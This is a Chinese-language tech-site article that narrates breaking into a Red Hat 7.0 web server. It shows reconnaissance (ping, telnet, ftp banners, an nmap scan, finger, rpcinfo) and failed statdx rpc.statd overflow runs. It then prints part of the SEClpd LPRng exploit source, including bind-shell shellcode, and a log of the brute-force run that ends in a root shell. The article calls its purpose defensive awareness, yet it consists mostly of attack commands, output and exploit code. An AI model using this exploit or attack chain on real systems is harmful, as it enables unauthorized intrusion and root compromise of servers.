Linux就这样被黑客入侵

系统 Linux
有一些资深的系统安全分析家肯定地认为:在未来的5年里,Linux将成为最安全的操作系统。Linux是最安全的的系统吗?本文将就此展开话题:黑客利于LPD:网络打印服务Linux入侵。本文目的不在于教人入侵,而是为了提高自身的技术和加强网络管理员的安全防范意识。

       此文的目的不在于教人入侵,而是为了提高自身的技术和加强网络管理员的安全防范意识。仅此而已!粗心大意的网络管理员应该明白:由于你们一个小小的操作失误可能会导致整个网络全面沦陷!本文主要是围绕LPD:网络打印服务的攻击而进行的。

  首先确定目标,假设是:www.XXX.com

  先让俺看看是不是连得上:

以下是引用片段:  
 C:\ping www.XXX.com   
  Pinging www.XXX.com[202.106.184.200] with 32 bytes of data:   
  Reply from 202.106.184.200: bytes=32 time=541ms TTL=244   
  Reply from 202.106.184.200: bytes=32 time=620ms TTL=244   
  Reply from 202.106.184.200: bytes=32 time=651ms TTL=244   
  Reply from 202.106.184.200: bytes=32 time=511ms TTL=244   
  Ping statistics for 202.106.184.200:   
  Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),   
  Approximate round trip times in milli-seconds:   
  Minimum = 511ms, Maximum = 651ms, Average = 580ms   
  嘻嘻—不但连得上,速度还不错……   
  先telnet看看banner:   
        C:\>telnet www.XXX.com 
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.

 

       遗失对主机的连接。

 

  再试试ftp,

以下是引用片段:  
C:\>ftp www.XXX.com   
  Connected to www.fbi.gov.tw.   
  220 XXX-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.   
        User (www.XXX.com:(none)): 
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
       wu-2.6.1看来有点眉目了。这台机器像是RedHat7.0!首先必须确认一下,连上俺的跳板:
 

以下是引用片段:  
 C:\>telnet xxx.xxx.xxx.xxx   
  Red Hat Linux release 7.0 (Guinness)   
  Kernel 2.2.16-22smp on an i686   
  login: fetdog   
  Password:   
        bash-2.04$ 
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.

       拿nmap扫描器,看看其中的奥妙~~~
 

以下是引用片段:  
 bash-2.04$nmap -sT -O www.XXX.com   
  Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )   
  WARNING! The following files exist and are readable: /usr/local/sha   
  -services and ./nmap-services. I am choosing /usr/local/share/nmap/   
  s for security reasons. set NMAPDIR=. to give priority to files in   
  irectory   
  Interesting ports on (www.XXX.com):   
  (The 1520 ports scanned but not shown below are in state: closed)   
  Port State Service   
  25/tcp open smtp   
  79/tcp open finger   
  80/tcp open http   
  111/tcp open sunrpc   
  113/tcp open auth   
  443/tcp open https   
  513/tcp open login   
  514/tcp open shell   
  515/tcp open printer   
  587/tcp open submission   
  1024/tcp open kdm   
  TCP Sequence Prediction: Class=random positive increments   
  Difficulty=3247917 (Good luck!)   
  Remote operating system guess: Linux 2.1.122 - 2.2.16   
        Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds 
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24.
  • 25.

 

       打开的端口还挺多,这意味着入侵的可能性增加。79/tcp open finger ,先看看这个,不过linux没有finger用户列表这个漏洞。
 

#p#
 

以下是引用片段:  
 bash-2.04$finger @www.XXX.com   
  [www.XXX.com]   
        No one logged on. 
  • 1.
  • 2.
  • 3.
  • 4.

       再看看111/tcp open sunrpc 。近来rpc漏洞风行,不知道RH7这个东东会不会有?先看看再说!

以下是引用片段:  
 bash-2.04$rpcinfo -p www.XXX.com   
  program vers proto port service   
  100000 2 tcp 111 rpcbind   
  100000 2 udp 111 rpcbind   
  100021 1 udp 1024 nlockmgr   
  100021 3 udp 1024 nlockmgr   
  100024 1 udp 1025 status   
        100024 1 tcp 1024 status 
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.

      看来有rpc.statd服务。来看看能不能远程溢出拿个rootshell。

以下是引用片段:  
 bash-2.04$./statdx -h   
  statdx by ron1n   
  Usage: stat [-t] [-p port] [-a addr] [-l len]   
  [-o offset] [-w num] [-s secs] [-d type]   
  -t attack a tcp dispatcher [udp]   
  -p rpc.statd serves requests on [query]   
  -a the stack address of the buffer is   
  -l the length of the buffer is [1024]   
  -o the offset to return to is [600]   
  -w the number of dwords to wipe is [9]   
  -s set timeout in seconds to [5]   
  -d use a hardcoded   
  Available types:   
  0 Redhat 6.2 (nfs-utils-0.1.6-2)   
  1 Redhat 6.1 (knfsd-1.4.7-7)   
  2 Redhat 6.0 (knfsd-1.2.2-4)   
  看来并不支持RH7。还是继续尝试,把0-2全部试试看再说!start……   
  bash-2.04$stat -d 0 www.XXX.com   
  buffer: 0xbffff314 length: 999 (+str/+nul)   
  target: 0xbffff718 new: 0xbffff56c (offset: 600)   
  wiping 9 dwords   
  Failed - statd returned res_stat: (failure) state: 21   
  受挫,再试……   
  bash-2.04$stat -d 1 www.XXX.com   
  buffer: 0xbffff314 length: 999 (+str/+nul)   
  target: 0xbffff718 new: 0xbffff56c (offset: 600)   
  wiping 9 dwords   
  Failed - statd returned res_stat: (failure) state: 21 
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24.
  • 25.
  • 26.
  • 27.
  • 28.
  • 29.

      一样``继续
      #p#

    

以下是引用片段:  
 bash-2.04$stat -d 1 www.XXX.com   
  buffer: 0xbffff314 length: 999 (+str/+nul)   
  target: 0xbffff718 new: 0xbffff56c (offset: 600)   
  wiping 9 dwords   
        Failed - statd returned res_stat: (failure) state: 21 
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.

       rpc.statd行不通,想想RH7应该有个远程溢出,好像是lp服务造成的。“seclpd.c”应该是这个东东了。

 

           —————以下代码仅供教学使用,决不能用来进行恶意攻击—————

以下是引用片段:  
 /*   
  * Welcome to http://hlc.cnroot.com/   
  * Run: ./SEClpd victim brute -t type   
  * Try first ./SEClpd victim -t 0 then try the brute.   
  */   
  #include   
  #include   
  #include   
  #include   
  #include   
  #include   
  #include   
  #include   
  #include   
  #include   
  #include   
  #include   
  #define ADDRESS_BUFFER_SIZE 32+4   
  #define APPEND_BUFFER_SIZE 52   
  #define FORMAT_LENGTH 512-8   
  #define NOPCOUNT 200   
  #define SHELLCODE_COUNT 1030   
  #define DELAY 50000 /* usecs */   
  #define OFFSET_LIMIT 5000   
  char shellcode[] =   
  "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"   
  "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"   
  "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"   
  "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"   
  "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"   
  "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"   
  "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"   
  "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"   
        "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24.
  • 25.
  • 26.
  • 27.
  • 28.
  • 29.
  • 30.
  • 31.
  • 32.
  • 33.
  • 34.
  • 35.

       brute暴力破解。等上5-8分钟左右,结果出来了。
 

以下是引用片段:  
 - [+] shell located on www.XXX.com   
  - [+] Enter Commands at will   
  Linux XXX.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown   
        uid=0(root) gid=7(lp) 
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.

      uid=0(root权限),现在可以近一步入侵!但不要做坏事!

      看了上文我们知道黑客主要是围绕LPD:网络打印服务的攻击而进行的。再提醒一句本文目的不在于教你如何入侵linux,而是希望以后大家加强安全,有一定的网络安全防范意识。

      【编辑推荐】

  1. .Net程序员以最简单方式学习Linux
  2. 安装linux系统可以用的5种方法
  3. 外媒评选过去25年10大黑客攻击事件
  4. 2011年10大安全威胁 国家资助的黑客攻击占首位
  5. 电影中5个最荒谬的黑客入侵场景
  6. 入侵检测蜜罐简化网络安全

 

责任编辑:赵鹏
相关推荐

2021-02-22 11:34:21

黑客网络安全网络攻击

2011-09-01 15:00:35

2020-12-10 14:36:09

黑客网络安全网络攻击

2021-05-06 10:20:13

特斯拉黑客漏洞

2019-04-24 08:24:42

2013-11-05 10:55:49

2024-09-14 14:04:32

2023-03-24 10:28:27

2020-12-18 08:50:58

微软黑客SolarWinds

2025-01-20 15:53:09

2015-02-28 13:49:14

2020-04-28 09:12:55

Linux黑客恶意软件

2016-11-21 21:28:51

根目录日志代码

2015-07-30 16:13:32

2015-09-16 11:06:00

2023-03-09 18:13:30

网络攻击黑客

2020-08-18 16:21:36

安全黑客摄像机

2024-12-25 15:07:43

2015-07-21 09:27:30

2020-10-16 14:30:33

网络摄像头被黑客入侵
点赞
收藏

51CTO技术栈公众号